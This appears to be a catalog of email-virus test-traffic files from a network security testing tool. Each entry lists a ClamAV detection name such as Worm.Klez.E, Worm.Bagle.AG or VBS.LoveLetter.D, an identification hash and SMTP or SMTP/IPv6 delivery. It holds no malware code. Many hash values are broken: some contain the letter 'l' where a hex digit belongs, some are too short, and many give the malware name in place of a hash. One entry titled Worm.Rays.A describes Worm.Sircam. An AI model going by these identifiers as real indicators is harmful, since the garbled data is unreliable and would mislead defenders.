Executive Description:	Email Virus Worm.Lorda
Detailed Description:	This is the email virus Worm.Lorda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d77119bcac38455171bef0235eeb5ecf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.5fc5ceb0_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5fc5ceb07f70178898f6700d987c5931. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W98.Hybris.E.d8c4307d_IPv6.xml

Executive Description:	Email Virus W98.Hybris.E (IPv6 Version)
Detailed Description:	This is the email virus W98.Hybris.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d8c4307da5901f19ddbc0e04f22a065d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Fintas.D.69ab5282.xml
Executive Description:	Email Virus Worm.Fintas.D
Detailed Description:	This is the email virus Worm.Fintas.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 69ab528253a22943fa2ce4be5fdfeab. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BleBla.A.3c75b73b.xml
Executive Description:	Email Virus Worm.BleBla.A
Detailed Description:	This is the email virus Worm.BleBla.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3c75b73b123648b1768d0436d8efd13b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.4d878250_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4d878250606406226aff249feabac216. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Luna.B.d7a5f426_IPv6.xml
Executive Description:	Email Virus Worm.Luna.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Luna.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d7a5f426e6c630a8c0e38e7cae0f3143. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Anaphylaxis.0231c3a7.xml
Executive Description:	Email Virus Anaphylaxis
Detailed Description:	This is the email virus Anaphylaxis as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0231c3a7d92ead1bad77819d5bda939d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Stepaik.c.c.c4fae069.xml
Executive Description:	Email Virus Email-Worm.Win32.Stepaik.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Stepaik.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Stepaik.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fizzer.A.a89c0ed6_IPv6.xml
Executive Description:	Email Virus Worm.Fizzer.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fizzer.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a89c0ed6ef75179adb6f52240102b9b2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.9138c146.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9138c146aabc2a90f0a86163eb2faa5e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.h.h.ff761bbc.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.h.h
Detailed Description:	This is the email virus Worm.Win32.Predec.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Futonik.9a4a8754_IPv6.xml
Executive Description:	Email Virus Worm.Futonik (IPv6 Version)
Detailed Description:	This is the email virus Worm.Futonik as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a4a8754d0403c869df2ce37347ead30. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Serotin.ec1f91fc_IPv6.xml
Executive Description:	Email Virus Worm.Serotin (IPv6 Version)
Detailed Description:	This is the email virus Worm.Serotin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ec1f91fc7b2531d727145fae29f461f4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcaul.M1.46f4becc_IPv6.xml
Executive Description:	Email Virus Worm.Alcaul.M1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcaul.M1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 46f4becc63127a839832f836a36f2860. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Challenge.f95blad3.xml
Executive Description:	Email Virus Worm.Challenge
Detailed Description:	This is the email virus Worm.Challenge as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f95blad38d100602d8000198f0762f04. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.XPMsg.8084b3d6_IPv6.xml
Executive Description:	Email Virus Worm.XPMsg (IPv6 Version)
Detailed Description:	This is the email virus Worm.XPMsg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8084b3d6df88cbf2e371e9c84075559b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.White.B.866fbc39_IPv6.xml
Executive Description:	Email Virus Worm.White.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.White.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 866fbc39108e6e0668b194815b19381a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.d02de7ae.xml
Executive Description:	Email Virus Worm.Bagle.AG
Detailed Description:	This is the email virus Worm.Bagle.AG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d02de7ae9bd7c03da86a38a48a85bcfa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Stepaik.A.b66016c1.xml
Executive Description:	Email Virus Worm.Stepaik.A
Detailed Description:	This is the email virus Worm.Stepaik.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b66016c129bfdc061294729b93454c33. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Anset.A.f3aeaa6a_IPv6.xml
Executive Description:	Email Virus Worm.Anset.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Anset.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f3aeaa6a234836dc4608307baee42408. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Krim.B.5de8ac8d.xml
Executive Description:	Email Virus Worm.Krim.B
Detailed Description:	This is the email virus Worm.Krim.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5de8ac8d3698f3da31d011dedd114dc5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Updater.f.f.94148e69_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Updater.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Updater.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Updater.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Gigger.gig.afa28cc.xml
Executive Description:	Email Virus Email-Worm.JS.Gigger.gig
Detailed Description:	This is the email virus Email-Worm.JS.Gigger.gig as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Gigger.gig. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Fintas.b.b.42bleb95.xml
Executive Description:	Email Virus Email-Worm.Win32.Fintas.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Fintas.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Fintas.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Frido.4bd22144.xml
Executive Description:	Email Virus Worm.VBS.Frido
Detailed Description:	This is the email virus Worm.VBS.Frido as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bd2214406ad8a72a8351c07b08923c7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Baatezu.2820d151.xml
Executive Description:	Email Virus Worm.Baatezu
Detailed Description:	This is the email virus Worm.Baatezu as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2820d151f357f983dfb758adc326302. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Gibe.F.b09e26c2.xml
Executive Description:	Email Virus Worm.Gibe.F
Detailed Description:	This is the email virus Worm.Gibe.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b09e26c292759d654633d3c8ed00d18d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Plexis.4.17e6f1e0.xml
Executive Description:	Email Virus Worm.Plexis.4
Detailed Description:	This is the email virus Worm.Plexis.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17e6f1e0dalbf842ecff57bfce34aed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Creepy.b.b.59d8562d.xml
Executive Description:	Email Virus Email-Worm.Win32.Creepy.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Creepy.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Creepy.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Taz.78071c5d.xml
Executive Description:	Email Virus Worm.Taz
Detailed Description:	This is the email virus Worm.Taz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 78071c5db7cf9c5687491387c735f400. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W95.Matrix.SCR.606f4355_IPv6.xml
Executive Description:	Email Virus W95.Matrix.SCR (IPv6 Version)
Detailed Description:	This is the email virus W95.Matrix.SCR as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 606f435504542cd18aa4612ca9a96cd2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mir.2ab6b53b_IPv6.xml
Executive Description:	Email Virus Worm.Mir (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mir as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2ab6b53b3c58f2ba7ed78ed6falab1b5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Poly.28dd1832.xml
Executive Description:	Email Virus Worm.Poly
Detailed Description:	This is the email virus Worm.Poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28dd1832482b92945eb69e3a134cd017. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Draft.b.b.0571d54e.xml
Executive Description:	Email Virus Email-Worm.VBS.Draft.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Draft.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Draft.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	VBS.SSIWG.cebfb93_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cebfb9369f1936dda0e84bb03107bde. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BadTrans.B1.0bf5eae_IPv6.xml
Executive Description:	Email Virus Worm.BadTrans.B1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.BadTrans.B1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0bf5eaeed25da53f85086767bcd86e5e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.ff2f730a_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff2f730a128fdae0623lee2f2ee09e55. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Aliz.47412900.xml
Executive Description:	Email Virus W32.Aliz
Detailed Description:	This is the email virus W32.Aliz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 474129006446c8250975ad820837d836. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Silly.d.exe.582da284.xml
Executive Description:	Email Virus Email-Worm.Win32.Silly.d.exe
Detailed Description:	This is the email virus Email-Worm.Win32.Silly.d.exe as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Silly.d.exe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Calgary.c.c.9661abf8_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Calgary.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Calgary.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Calgary.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Gain.gai.970a06be.xml
Executive Description:	Email Virus Email-Worm.Win32.Gain.gai
Detailed Description:	This is the email virus Email-Worm.Win32.Gain.gai as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Gain.gai. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Entice.B.4dbb3847_IPv6.xml
Executive Description:	Email Virus VBS.Entice.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.Entice.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4dbb3847fce7f01e8f23e10d9a47f669. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Astrology.ast.f8fe12c1.xml
Executive Description:	Email Virus Email-Worm.JS.Astrology.ast
Detailed Description:	This is the email virus Email-Worm.JS.Astrology.ast as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Astrology.ast. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fakenap.B.ca637c0c_IPv6.xml
Executive Description:	Email Virus Worm.Fakenap.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fakenap.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ca637c0ceea031f2d160cd8da9a092a4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.2294002b_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2294002b6f23287ddb08502cefb6c6df. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Youngos.a.c04b062b_IPv6.xml
Executive Description:	Email Virus Worm.Youngos.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Youngos.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c04b062b5dc251b26abec57fbl80df92. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4eb65cb5.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4eb65cb5c94cd99a6ef000cf897083df. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Aleat.3.4b578d00_IPv6.xml
Executive Description:	Email Virus Worm.Aleat.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Aleat.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4b578d00890e1198c6b622202f664ff6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Rodybot.90163da0_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Rodybot (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Rodybot as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90163da04a5f5ba460fc29b7b6fa4755. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Luna.B.d7a5f426.xml
Executive Description:	Email Virus Worm.Luna.B
Detailed Description:	This is the email virus Worm.Luna.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d7a5f426e6c630a8c0e38e7cae0f3143. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Delf.d.d.632e8282.xml
Executive Description:	Email Virus Email-Worm.Win32.Delf.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Delf.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Delf.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.e9baa7ed_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Z (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e9baa7edb4b17ef64281a41bbe01f8d1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.H.74e3e172_IPv6.xml
Executive Description:	Email Virus Worm.Klez.H (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74e3e172fe55e10b36078c481b514a2d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Paukor.a.a.87748874_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Paukor.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Paukor.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Paukor.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Worm.Navidad.3d315a99_IPv6.xml
Executive Description:	Email Virus Trojan.Worm.Navidad (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Worm.Navidad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d315a99f004456296546d7ee6cd3e28. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heath.c.5fc5ceb0.xml
Executive Description:	Email Virus Worm.Heath.c

Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5fc5ceb07f70178898f6700d987c5931. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Corad.6e2fb08c_IPv6.xml
Executive Description:	Email Virus Worm.Corad (IPv6 Version)
Detailed Description:	This is the email virus Worm.Corad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6e2fb08ccfc60716348502140a02867f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Plemood.ple.d31fbdcc.xml
Executive Description:	Email Virus Email-Worm.Win32.Plemood.ple
Detailed Description:	This is the email virus Email-Worm.Win32.Plemood.ple as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Plemood.ple. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sircam.85faf716b_IPv6.xml
Executive Description:	Email Virus Worm.Rays.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sircam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 85faf716b82e92aaa53e5e04e632b30a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.f.f.ef9cba45_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.j.j.5e816e39.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.j.j
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.j.j as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.j.j. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.IRCGen.YuS.2.299d0734_IPv6.xml
Executive Description:	Email Virus Worm.IRCGen.YuS.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.IRCGen.YuS.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 299d073415dc002abca5b1355af09664. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.JuneX.945a914e_IPv6.xml
Executive Description:	Email Virus Worm.JuneX (IPv6 Version)
Detailed Description:	This is the email virus Worm.JuneX as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 945a914e518ba7975b562c551aaf4785. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AP.f7882c8d.xml
Executive Description:	Email Virus Worm.Bagle.AP
Detailed Description:	This is the email virus Worm.Bagle.AP as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7882c8dac0e8611814fb74baaa0fec1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.B.d18f2497.xml
Executive Description:	Email Virus VBS.PicaWorm.B
Detailed Description:	This is the email virus VBS.PicaWorm.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d18f24972f7cec2fc65c138f235f4380. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.f.f.95109868.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.f.f
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.f.f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Tavo.71bee564_IPv6.xml

Executive Description:	Email Virus Worm.VBS.Tavo (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Tavo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 71bee56406284430232c73232288c41f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Viled.a.a.138119b5_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Viled.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Viled.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Viled.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kazus.b.b.ed651d65.xml
Executive Description:	Email Virus Email-Worm.Win32.Kazus.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Kazus.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kazus.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.d060da6a.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d060da6a50fb357174ad811493c66936. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rastam.e4fda82a_IPv6.xml
Executive Description:	Email Virus Worm.Rastam (IPv6 Version)
Detailed Description:	This is the email virus Worm.Rastam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4fda82af5514427ca29b0560c8c40ed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.VB.a.a.8a636888_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.VB.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.VB.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.VB.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.af1b0251.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: af1b0251alddb0cffbdc6364bce9a8ae. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.elfcb0fb_IPv6.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan (IPv6 Version)
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: elfcb0fb57fcdd21da4b218238f688e4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Carnival.3483eedb.xml
Executive Description:	Email Virus Worm.VBS.Carnival
Detailed Description:	This is the email virus Worm.VBS.Carnival as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3483eedb101448965a2765d8afb8ad98. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Yama.yam.f1233115_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Yama.yam (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.Yama.yam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Yama.yam. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Cowpox.f9744915.xml
Executive Description:	Email Virus Worm.Cowpox
Detailed Description:	This is the email virus Worm.Cowpox as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f97449153ad35d8ccd85fcf9d706c7e6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Energy.B.aaa73660_IPv6.xml
Executive Description:	Email Virus Worm.Energy.B (IPv6 Version)
